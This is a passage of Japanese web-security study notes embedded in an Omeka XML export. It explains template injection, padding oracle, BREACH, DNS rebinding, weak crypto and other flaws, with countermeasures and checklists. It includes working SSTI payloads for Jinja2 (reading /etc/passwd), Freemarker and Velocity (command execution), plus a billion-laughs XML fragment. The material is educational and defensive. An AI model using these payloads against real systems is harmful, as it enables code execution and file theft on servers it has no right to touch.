&lt;li&gt;&lt;strong&gt;EL式の無効化&lt;/strong&gt;: 不要な場合はELを無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入力値の検証&lt;/strong&gt;: EL式を許可しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サニタイゼーション&lt;/strong&gt;: EL式の特殊文字をエスケープ&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Template Injection Attacks（テンプレートインジェクション攻撃）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★★（上級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;テンプレートエンジンに悪意のあるコードが注入される脆弱性です。SSTI（Server-Side Template Injection）以外にも様々な種類があります。&lt;/p&gt;
&lt;h4&gt;種類&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Jinja2 Template Injection（Python）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;# 攻撃入力
{{config.items()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Freemarker Template Injection（Java）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;// 攻撃入力
${"freemarker.template.utility.Execute"?new()("calc")}&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Velocity Template Injection（Java）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;// 攻撃入力
#set($x=$class.forName("java.lang.Runtime"))$x.getRuntime().exec("calc")&lt;/pre&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;サンドボックス&lt;/strong&gt;: テンプレートエンジンをサンドボックスで実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入力値の検証&lt;/strong&gt;: テンプレート構文を許可しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小機能&lt;/strong&gt;: テンプレートエンジンの機能を最小限に&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Padding Oracle Attack（パディングオラクル攻撃）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★★★（最上級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 低&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;暗号化されたデータに対して、パディングエラーの有無を確認することで、暗号文を復号する攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;暗号化されたデータの最後のブロックを変更&lt;/li&gt;
&lt;li&gt;パディングエラーの有無を確認&lt;/li&gt;
&lt;li&gt;正しいパディング値を見つける&lt;/li&gt;
&lt;li&gt;元の平文を推測&lt;/li&gt;
&lt;li&gt;次のブロックを復号&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;暗号文の復号&lt;/strong&gt;: 暗号化されたデータを復号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証バイパス&lt;/strong&gt;: セッションクッキーやトークンの偽造&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報漏洩&lt;/strong&gt;: 暗号化された機密情報の漏洩&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定数時間比較&lt;/strong&gt;: パディング検証を定数時間で実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証付き暗号化&lt;/strong&gt;: AES-GCMなどの認証付き暗号を使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エラーメッセージの統一&lt;/strong&gt;: パディングエラーとその他のエラーを区別しない&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;BREACH Attack（ブラウザでのリクエスト復号と圧縮ヘッダー攻撃）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★★（上級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 低&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;HTTPSとHTTP圧縮（gzip、deflate）を組み合わせることで、HTTPSで暗号化されたリクエストの内容を推測する攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;HTTPSでリクエストを送信（圧縮有効）&lt;/li&gt;
&lt;li&gt;圧縮されたリクエストのサイズを測定&lt;/li&gt;
&lt;li&gt;推測したい文字列を含むリクエストを送信&lt;/li&gt;
&lt;li&gt;サイズの変化から文字列を推測&lt;/li&gt;
&lt;li&gt;繰り返しで全文を推測&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTPSリクエストの復号&lt;/strong&gt;: 暗号化されたリクエストの内容を推測&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSRFトークンの漏洩&lt;/strong&gt;: CSRFトークンを推測&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証情報の漏洩&lt;/strong&gt;: パスワードやトークンを推測&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;圧縮の無効化&lt;/strong&gt;: HTTPSリクエストで圧縮を無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レート制限&lt;/strong&gt;: リクエストの頻度を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ランダムパディング&lt;/strong&gt;: リクエストにランダムなパディングを追加&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;HEIST Attack（HTTP暗号化情報サイドチャネル攻撃）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★★（上級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 低&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;HTTP/2の圧縮機能を利用して、暗号化されたリクエストの内容を推測する攻撃です。&lt;/p&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTP/2圧縮の無効化&lt;/strong&gt;: HPACK圧縮を無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レート制限&lt;/strong&gt;: リクエストの頻度を制限&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;DNS Rebinding Attack（DNSリバインディング攻撃）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;DNSのTTL（Time To Live）を短く設定し、同一オリジンポリシーを回避して内部ネットワークにアクセスする攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;攻撃者がドメインを取得（例: evil.com）&lt;/li&gt;
&lt;li&gt;TTLを短く設定（例: 0秒）&lt;/li&gt;
&lt;li&gt;被害者にevil.comにアクセスさせる&lt;/li&gt;
&lt;li&gt;ブラウザがDNSを解決してIPアドレスを取得&lt;/li&gt;
&lt;li&gt;TTL後、evil.comのIPアドレスを内部IPアドレス（例: 192.168.1.1）に変更&lt;/li&gt;
&lt;li&gt;ブラウザは同一オリジンと判断し、内部ネットワークにアクセス可能&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内部ネットワークへのアクセス&lt;/strong&gt;: ルーターや内部システムへのアクセス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報漏洩&lt;/strong&gt;: 内部ネットワークの情報を取得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証バイパス&lt;/strong&gt;: 内部システムの認証を回避&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DNSピニング&lt;/strong&gt;: 最初に解決したIPアドレスを固定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Private Network Access&lt;/strong&gt;: プライベートネットワークへのアクセスを制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS over HTTPS（DoH）&lt;/strong&gt;: DNS解決を暗号化&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Web Cache Deception（Webキャッシュ欺瞞）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;キャッシュサーバーが静的ファイルの拡張子を誤認することで、機密情報がキャッシュされる攻撃です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;1. 攻撃者がユーザーに以下のURLにアクセスさせる
   https://example.com/account/profile.php/nonexistent.css

2. サーバーは /account/profile.php を実行（機密情報を含む）

3. キャッシュサーバーは .css 拡張子を認識し、静的ファイルとしてキャッシュ

4. 他のユーザーが同じURLにアクセスすると、キャッシュされた機密情報が表示される&lt;/pre&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;拡張子の検証&lt;/strong&gt;: 実際のファイル拡張子を確認&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;キャッシュ制御&lt;/strong&gt;: 動的コンテンツはキャッシュしない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Varyヘッダー&lt;/strong&gt;: 適切なVaryヘッダーを設定&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Insecure Random Number Generation（不安全な乱数生成）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★（初級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;予測可能な乱数生成器を使用することで、セッションIDやトークンが推測される脆弱性です。&lt;/p&gt;
&lt;h4&gt;問題のある実装&lt;/h4&gt;
&lt;pre&gt;// ❌ 脆弱な実装
const sessionId = Math.random().toString(36).substring(2);

// ❌ 脆弱な実装（Node.js）
const crypto = require('crypto');
const token = crypto.randomBytes(4).toString('hex'); // 短すぎる&lt;/pre&gt;
&lt;h4&gt;安全な実装&lt;/h4&gt;
&lt;pre&gt;// ✅ 安全な実装（Node.js）
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('hex');

// ✅ 安全な実装（ブラウザ）
const array = new Uint32Array(10);
crypto.getRandomValues(array);
const token = Array.from(array, dec =&amp;gt; ('0' + dec.toString(16)).substr(-2)).join('');&lt;/pre&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;暗号学的に安全な乱数生成器&lt;/strong&gt;: crypto.getRandomValues()や/dev/urandomを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;十分な長さ&lt;/strong&gt;: セッションIDやトークンは十分な長さ（最低32バイト）を確保&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;予測不可能性の検証&lt;/strong&gt;: 乱数のエントロピーを検証&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Weak Cryptographic Storage（弱い暗号化ストレージ）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★★（最高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 高&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;機密情報を保存する際に、弱い暗号化アルゴリズムや不適切な実装を使用する脆弱性です。&lt;/p&gt;
&lt;h4&gt;問題のある実装&lt;/h4&gt;
&lt;pre&gt;// ❌ 脆弱な実装（Base64は暗号化ではない）
const encrypted = btoa(password);

// ❌ 脆弱な実装（ECBモード）
const encrypted = crypto.createCipher('aes-128-ecb', key).update(password);

// ❌ 脆弱な実装（固定IV）
const iv = Buffer.from('0000000000000000');
const encrypted = crypto.createCipheriv('aes-128-cbc', key, iv).update(password);&lt;/pre&gt;
&lt;h4&gt;安全な実装&lt;/h4&gt;
&lt;pre&gt;// ✅ 安全な実装（Node.js）
const crypto = require('crypto');
const algorithm = 'aes-256-gcm';
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);

const cipher = crypto.createCipheriv(algorithm, key, iv);
let encrypted = cipher.update(password, 'utf8', 'hex');
encrypted += cipher.final('hex');
const authTag = cipher.getAuthTag();

// 復号時
const decipher = crypto.createDecipheriv(algorithm, key, iv);
decipher.setAuthTag(authTag);
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');&lt;/pre&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;強力なアルゴリズム&lt;/strong&gt;: AES-256-GCMなどの認証付き暗号を使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ランダムなIV&lt;/strong&gt;: 毎回異なるIV（初期化ベクトル）を使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;鍵管理&lt;/strong&gt;: 鍵の適切な管理とローテーション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パスワードのハッシュ化&lt;/strong&gt;: パスワードは暗号化ではなく、bcrypt、Argon2などのハッシュ化を使用&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Unvalidated Redirects and Forwards（未検証のリダイレクトとフォワード）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★（初級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;リダイレクト先のURLが適切に検証されず、任意のURLにリダイレクトされる脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;通常のリダイレクト:
https://example.com/login?redirect=/dashboard

攻撃:
https://example.com/login?redirect=http://evil.com&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;フィッシング攻撃&lt;/strong&gt;: 正規サイトを装った偽サイトにリダイレクト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンリダイレクト&lt;/strong&gt;: 信頼性を悪用した攻撃&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ホワイトリスト&lt;/strong&gt;: 許可されたURLのみ許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相対URLの使用&lt;/strong&gt;: 相対URLのみ許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;トークンの検証&lt;/strong&gt;: リダイレクト先にトークンを付与し、検証&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;XML Entity Expansion Attacks（XMLエンティティ拡張攻撃）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★（中） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 低&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;XMLエンティティの再帰的な展開により、サーバーリソースを消費する攻撃です。XXEとは異なります。&lt;/p&gt;
&lt;h4&gt;攻撃例&lt;/h4&gt;
&lt;pre&gt;&amp;lt;!ENTITY lol "lol"&amp;gt;
&amp;lt;!ENTITY lol2 "&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;"&amp;gt;
&amp;lt;!ENTITY lol3 "&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;"&amp;gt;
&amp;lt;!-- さらに拡張 --&amp;gt;&lt;/pre&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;エンティティの制限&lt;/strong&gt;: エンティティの展開回数を制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XMLパーサーの設定&lt;/strong&gt;: 安全な設定を使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入力サイズの制限&lt;/strong&gt;: XML文書のサイズを制限&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Insecure File Permissions（不安全なファイル権限）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★（高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★（初級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 中&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Webサーバー上のファイルやディレクトリの権限設定が不適切で、機密情報が漏洩する脆弱性です。&lt;/p&gt;
&lt;h4&gt;問題のある設定&lt;/h4&gt;
&lt;pre&gt;# ❌ 脆弱な設定
chmod 777 /var/www/html/config.php
chmod 755 /var/www/html/.env

# ❌ 脆弱な設定（ディレクトリリスティング有効）
Options +Indexes&lt;/pre&gt;
&lt;h4&gt;安全な設定&lt;/h4&gt;
&lt;pre&gt;# ✅ 安全な設定
chmod 640 /var/www/html/config.php
chmod 600 /var/www/html/.env
chown www-data:www-data /var/www/html/config.php

# ✅ 安全な設定（ディレクトリリスティング無効）
Options -Indexes&lt;/pre&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;最小権限の原則&lt;/strong&gt;: 必要最小限の権限のみ付与&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機密ファイルの保護&lt;/strong&gt;: .env、config.phpなどの機密ファイルをWebルート外に配置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ディレクトリリスティングの無効化&lt;/strong&gt;: Apache、Nginxでディレクトリリスティングを無効化&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;まとめ（更新版）&lt;/h3&gt;
&lt;p&gt;WEBセキュリティは多層的な防御が必要です。単一の対策だけでは不十分であり、以下のような包括的なアプローチが重要です:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セキュアな設計&lt;/strong&gt;: 初期設計段階からセキュリティを考慮&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュアコーディング&lt;/strong&gt;: 安全なコーディング手法の実践&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期的な診断&lt;/strong&gt;: 継続的な脆弱性診断と修正&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ教育&lt;/strong&gt;: 開発者へのセキュリティ教育&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インシデント対応&lt;/strong&gt;: セキュリティインシデント発生時の対応計画&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的な監視&lt;/strong&gt;: SIEMなどのツールを使用した継続的な監視&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サプライチェーン管理&lt;/strong&gt;: サードパーティのコンポーネントの管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最新情報の把握&lt;/strong&gt;: 新しい脅威や脆弱性情報の収集&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最新の脅威情報を常に把握し、OWASP Top 10、CWE Top 25、NIST Cybersecurity Frameworkなどの標準的なガイドラインを参照しながら、継続的にセキュリティを改善していくことが重要です。&lt;/p&gt;
&lt;p&gt;また、技術的な対策だけでなく、組織的な取り組み（セキュリティポリシーの策定、従業員教育、インシデント対応体制の構築など）も重要な要素です。&lt;/p&gt;


&lt;h2&gt;クイックリファレンス（専門家向け）&lt;/h2&gt;
&lt;h3&gt;主要脆弱性の対策コード一覧&lt;/h3&gt;
&lt;h4&gt;SQLインジェクション対策&lt;/h4&gt;
&lt;pre&gt;// 安全な実装（Java）
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);&lt;/pre&gt;
&lt;pre&gt;// 安全な実装（PHP）
$stmt = $pdo-&amp;gt;prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt-&amp;gt;execute([$username, $password]);&lt;/pre&gt;
&lt;h4&gt;XSS対策&lt;/h4&gt;
&lt;pre&gt;// 安全な実装（JavaScript）
function escapeHtml(text) {
    const map = {
        '&amp;amp;': '&amp;amp;amp;',
        '&amp;lt;': '&amp;amp;lt;',
        '&amp;gt;': '&amp;amp;gt;',
        '"': '&amp;amp;quot;',
        "'": '&amp;amp;#x27;'
    };
    return text.replace(/[&amp;amp;&amp;lt;&amp;gt;"']/g, m =&amp;gt; map[m]);
}&lt;/pre&gt;
&lt;h4&gt;CSRF対策&lt;/h4&gt;
&lt;pre&gt;&amp;lt;!-- 安全な実装（HTML + サーバー側） --&amp;gt;
&amp;lt;form method="POST"&amp;gt;
    &amp;lt;input type="hidden" name="csrf_token" value="{{ csrf_token }}"&amp;gt;
    &amp;lt;!-- フォームの内容 --&amp;gt;
&amp;lt;/form&amp;gt;&lt;/pre&gt;
&lt;h3&gt;セキュリティヘッダーの推奨設定&lt;/h3&gt;
&lt;pre&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()&lt;/pre&gt;
&lt;h3&gt;よく使用されるツール&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;



&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OWASP ZAP&lt;/td&gt;
&lt;td&gt;Webアプリケーションスキャン&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Burp Suite&lt;/td&gt;
&lt;td&gt;セキュリティテスト&lt;/td&gt;
&lt;td&gt;有料/無料版あり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLMap&lt;/td&gt;
&lt;td&gt;SQLインジェクション検出&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nmap&lt;/td&gt;
&lt;td&gt;ポートスキャン&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nikto&lt;/td&gt;
&lt;td&gt;Webサーバースキャン&lt;/td&gt;
&lt;td&gt;無料&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;


&lt;h2&gt;チェックリスト&lt;/h2&gt;
&lt;h3&gt;開発時のチェックリスト&lt;/h3&gt;
&lt;h4&gt;入力値検証&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] すべてのユーザー入力を検証している&lt;/li&gt;
&lt;li&gt;[ ] サーバー側で検証を実施している（クライアント側のみではない）&lt;/li&gt;
&lt;li&gt;[ ] ホワイトリスト方式を使用している&lt;/li&gt;
&lt;li&gt;[ ] データ型の検証を実施している&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;SQLインジェクション対策&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] プリペアドステートメントを使用している&lt;/li&gt;
&lt;li&gt;[ ] 動的にSQL文を組み立てていない&lt;/li&gt;
&lt;li&gt;[ ] データベースユーザーに最小権限のみ付与している&lt;/li&gt;
&lt;li&gt;[ ] エラーメッセージに詳細情報を含めていない&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;XSS対策&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 出力時にエスケープ処理を実施している&lt;/li&gt;
&lt;li&gt;[ ] CSP（Content Security Policy）を設定している&lt;/li&gt;
&lt;li&gt;[ ] ユーザー入力にHTMLタグが含まれる場合、適切にサニタイズしている&lt;/li&gt;
&lt;li&gt;[ ] HttpOnly属性をクッキーに設定している&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;CSRF対策&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] CSRFトークンを実装している&lt;/li&gt;
&lt;li&gt;[ ] SameSite属性をクッキーに設定している&lt;/li&gt;
&lt;li&gt;[ ] 重要な操作には再認証を要求している&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;認証・認可&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] パスワードをハッシュ化して保存している&lt;/li&gt;
&lt;li&gt;[ ] 強力なハッシュアルゴリズムを使用している（bcrypt、Argon2など）&lt;/li&gt;
&lt;li&gt;[ ] セッションIDを適切に生成・管理している&lt;/li&gt;
&lt;li&gt;[ ] ログイン試行回数を制限している&lt;/li&gt;
&lt;li&gt;[ ] アクセス制御を実装している&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;エラーハンドリング&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 詳細なエラーメッセージをユーザーに表示していない&lt;/li&gt;
&lt;li&gt;[ ] スタックトレースをユーザーに表示していない&lt;/li&gt;
&lt;li&gt;[ ] エラー情報をログに記録している&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;セキュリティヘッダー&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] HSTSを設定している&lt;/li&gt;
&lt;li&gt;[ ] CSPを設定している&lt;/li&gt;
&lt;li&gt;[ ] X-Frame-Optionsを設定している&lt;/li&gt;
&lt;li&gt;[ ] X-Content-Type-Optionsを設定している&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;リリース前のチェックリスト&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 脆弱性診断を実施した&lt;/li&gt;
&lt;li&gt;[ ] セキュリティヘッダーを設定した&lt;/li&gt;
&lt;li&gt;[ ] バージョン情報を非表示にした&lt;/li&gt;
&lt;li&gt;[ ] デフォルトのパスワード・アカウントを変更した&lt;/li&gt;
&lt;li&gt;[ ] 不要なファイル・ディレクトリを削除した&lt;/li&gt;
&lt;li&gt;[ ] ログの設定を確認した&lt;/li&gt;
&lt;li&gt;[ ] バックアップの設定を確認した&lt;/li&gt;
&lt;li&gt;[ ] インシデント対応計画を準備した&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;運用時のチェックリスト&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 定期的に脆弱性スキャンを実施している&lt;/li&gt;
&lt;li&gt;[ ] セキュリティパッチを適用している&lt;/li&gt;
&lt;li&gt;[ ] ログを監視している&lt;/li&gt;
&lt;li&gt;[ ] 異常なアクセスを検知している&lt;/li&gt;
&lt;li&gt;[ ] セキュリティイベントに応答できる体制がある&lt;/li&gt;
&lt;li&gt;[ ] 定期的にセキュリティレビューを実施している&lt;/li&gt;
&lt;/ul&gt;

















</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1880">
                <text>情報セキュリテイ８</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1881">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1882">
                <text>2025-11-5</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1883">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="116" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
